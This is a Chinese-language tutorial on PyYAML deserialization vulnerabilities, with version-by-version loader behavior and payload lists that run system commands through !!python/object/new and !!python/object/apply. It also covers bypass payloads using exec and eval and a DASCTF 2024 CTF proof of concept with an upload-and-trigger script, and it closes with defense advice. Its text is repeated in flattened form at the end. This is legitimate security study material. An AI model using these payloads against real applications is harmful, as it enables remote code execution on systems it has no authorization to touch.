PyYAML反序列化学习
字数 1700 2025-08-22 12:22:54

PyYAML反序列化漏洞深入分析与利用

1. YAML基础

1.1 YAML简介

YAML(YAML Ain't Markup Language)是一种数据序列化标记语言,主要用于配置文件和数据交换。特点:

  • 可读性强
  • 语法简洁
  • 类似于XML但更简单
  • 适合转化为数组或hash数据

1.2 YAML基本语法

  • 多份配置文件用---分隔
  • 大小写敏感
  • 支持JSON格式数据
  • 使用缩进表示层级关系(仅空格,不用tab)
  • #表示注释
  • !!表示强制类型转换
  • &定义锚点,*引用锚点
  • <<配合*可自动展开对象

1.3 YAML数据结构

  1. 对象:键值对集合
  2. 列表:有序值集合
  3. 标量:原子值(数字、日期等)

2. PyYAML类型转换机制

2.1 类型转换原理

!!x x可理解为find_function("x")(x),PyYAML提供了5个关键函数:

  • python/name
  • python/module
  • python/object
  • python/object/new
  • python/object/apply

这些函数可以引入新模块,是反序列化漏洞的根本原因。

3. PyYAML版本差异

3.1 版本<5.1

关键方法

  • load(data)
  • load(data, Loader=Loader)
  • load_all(data)
  • load_all(data, Loader=Loader)

加载器与构造器

  1. BaseConstructor:基础构造器,不支持强制类型转换
  2. SafeConstructor:继承BaseConstructor,符合YAML规范
  3. Constructor:默认构造器,最危险,扩展了强制类型转换

3.2 5.1≤版本<5.2

构造器分类

  1. BaseConstructor:无强制类型转换
  2. SafeConstructor:仅基础类型转换
  3. FullConstructor:默认构造器,限制模块必须已导入
  4. UnsafeConstructor:支持全部强制类型转换
  5. Constructor:等同于UnsafeConstructor

反序列化函数

  • load(data)(有条件工作)
  • full_load(data)
  • unsafe_load(data)
  • 对应的load_allfull_load_allunsafe_load_all

3.3 版本≥5.2

  • 仅支持!!python/name!!python/object!!python/object/new!!python/module
  • 5.3.1+增加过滤机制
  • 5.4+仅支持!!python/name!!python/object/apply!!python/object!!python/object/new
  • 6.0+必须指定Loader

4. 反序列化漏洞利用

4.1 版本<5.1利用方式

4.1.1 !!python/object/new

!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.popen ["calc.exe"]
!!python/object/new:subprocess.run ["calc.exe"]
!!python/object/new:subprocess.call ["calc.exe"]

4.1.2 !!python/object/apply

!!python/object/apply:os.system ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.popen ["calc.exe"]
!!python/object/apply:subprocess.run ["calc.exe"]
!!python/object/apply:subprocess.call ["calc.exe"]
!!python/object/apply:subprocess.Popen ["calc.exe"]

4.1.3 !!python/object

只能调用无参数函数

4.1.4 !!python/module

导入并执行指定模块

4.1.5 !!python/name

获取变量值

4.2 5.1≤版本<5.2绕过方式

4.2.1 直接使用UnsafeLoader

yaml.unsafe_load(exp)
yaml.load(exp, Loader=UnsafeLoader)

4.2.2 利用map+eval绕过

!!python/object/new:tuple
- !!python/object/new:map 
  - !!python/name:eval 
  - ["__import__('os').system('whoami')"]

4.2.3 利用extend方法

!!python/object/new:type
args: 
  - test 
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"

4.2.4 利用setstate方法

!!python/object/new:type
args: 
  - test 
  - !!python/tuple []
  - {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"

4.2.5 利用update方法

!!python/object/new:str
args: []
state: 
  !!python/tuple
  - "__import__('os').system('whoami')"
  - !!python/object/new:staticmethod
    args: []
    state: 
      update: !!python/name:eval
      items: !!python/name:list

5. 实战案例:[DASCTF 2024]yaml_master

5.1 漏洞分析

  • 使用yaml.load()无指定Loader
  • 存在WAF过滤关键字符
  • 可通过URL编码绕过

5.2 利用POC

!!python/object/new:type
args: 
  - test 
  - !!python/tuple [] 
  - {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%22%6f%73%22%29%2e%73%79%73%74%65%6d%28%22%77%68%6f%61%6d%69%22%29'))"

5.3 利用脚本

import requests

url = "http://127.0.0.1:5000"
filename = "poc.yaml"

with open(file=filename, mode="r") as file:
    files = {'file': (filename, file)}
    response = requests.post(url + "/upload", files=files)
    print(response.text)

res = requests.post(url + "/Yam1?filename=poc")
print(res.text)

6. 防御建议

  1. 使用yaml.safe_load()替代yaml.load()
  2. 升级PyYAML到最新版本
  3. 实现严格的输入过滤
  4. 使用白名单机制限制反序列化类
  5. 避免直接反序列化不可信数据
PyYAML反序列化漏洞深入分析与利用 1. YAML基础 1.1 YAML简介 YAML(YAML Ain't Markup Language)是一种数据序列化标记语言,主要用于配置文件和数据交换。特点: 可读性强 语法简洁 类似于XML但更简单 适合转化为数组或hash数据 1.2 YAML基本语法 多份配置文件用 --- 分隔 大小写敏感 支持JSON格式数据 使用缩进表示层级关系(仅空格,不用tab) # 表示注释 !! 表示强制类型转换 & 定义锚点, * 引用锚点 << 配合 * 可自动展开对象 1.3 YAML数据结构 对象:键值对集合 列表:有序值集合 标量:原子值(数字、日期等) 2. PyYAML类型转换机制 2.1 类型转换原理 !!x x 可理解为 find_function("x")(x) ,PyYAML提供了5个关键函数: python/name python/module python/object python/object/new python/object/apply 这些函数可以引入新模块,是反序列化漏洞的根本原因。 3. PyYAML版本差异 3.1 版本 <5.1 关键方法 : load(data) load(data, Loader=Loader) load_all(data) load_all(data, Loader=Loader) 加载器与构造器 : BaseConstructor :基础构造器,不支持强制类型转换 SafeConstructor :继承BaseConstructor,符合YAML规范 Constructor :默认构造器,最危险,扩展了强制类型转换 3.2 5.1≤版本 <5.2 构造器分类 : BaseConstructor :无强制类型转换 SafeConstructor :仅基础类型转换 FullConstructor :默认构造器,限制模块必须已导入 UnsafeConstructor :支持全部强制类型转换 Constructor :等同于UnsafeConstructor 反序列化函数 : load(data) (有条件工作) full_load(data) unsafe_load(data) 对应的 load_all 和 full_load_all 、 unsafe_load_all 3.3 版本≥5.2 仅支持 !!python/name 、 !!python/object 、 !!python/object/new 和 !!python/module 5.3.1+增加过滤机制 5.4+仅支持 !!python/name 、 !!python/object/apply 、 !!python/object 、 !!python/object/new 6.0+必须指定Loader 4. 反序列化漏洞利用 4.1 版本 <5.1利用方式 4.1.1 !!python/object/new 4.1.2 !!python/object/apply 4.1.3 !!python/object 只能调用无参数函数 4.1.4 !!python/module 导入并执行指定模块 4.1.5 !!python/name 获取变量值 4.2 5.1≤版本 <5.2绕过方式 4.2.1 直接使用UnsafeLoader 4.2.2 利用map+eval绕过 4.2.3 利用extend方法 4.2.4 利用setstate方法 4.2.5 利用update方法 5. 实战案例:[ DASCTF 2024]yaml_ master 5.1 漏洞分析 使用 yaml.load() 无指定Loader 存在WAF过滤关键字符 可通过URL编码绕过 5.2 利用POC 5.3 利用脚本 6. 防御建议 使用 yaml.safe_load() 替代 yaml.load() 升级PyYAML到最新版本 实现严格的输入过滤 使用白名单机制限制反序列化类 避免直接反序列化不可信数据